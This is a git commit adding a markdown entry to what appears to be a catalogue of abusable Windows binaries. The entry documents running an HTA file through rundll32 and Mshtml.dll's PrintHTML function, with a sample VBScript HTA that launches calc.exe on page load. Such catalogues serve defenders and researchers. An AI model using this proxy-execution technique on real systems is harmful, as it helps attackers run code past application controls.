Create Mshtml.md

2018-05-21 10:16:59 -04:00 · 2018-05-21 10:16:59 -04:00 · f43cafaa4b
parent e8e4bc5d2f
commit f43cafaa4b
1 changed files with 43 additions and 0 deletions
--- a/OSLibraries/Mshtml.md
+++ b/OSLibraries/Mshtml.md
@ -0,0 +1,43 @@
+## Mshtml.dll
+
+* Functions: Execute
+
+```
+rundll32.exe Mshtml.dll,PrintHTML "C:\temp\calc.hta"    
+```
+
+Acknowledgements:
+* Pierre-Alexandre Braeken - @pabraeken
+
+Code sample (calc.hta):
+```
+<html>
+<head>
+	<title>LOLBin</title>
+	<script language="VBScript">
+		Sub RunProgram
+            Set objShell = CreateObject("Wscript.Shell")
+            objShell.Run "c:\windows\system32\calc.exe"
+			Self.Close
+        End Sub
+	</script>
+</head>
+<body onload="RunProgram">
+    <h1>LOLBin</h1>
+</body>
+</html>
+```
+
+Resources:
+* https://twitter.com/pabraeken/status/998567549670477824
+
+Full path:
+```
+c:\windows\system32\Mshtml.dll
+c:\windows\sysWOW64\Mshtml.dll
+```
+
+Notes:
+
+
+Detection: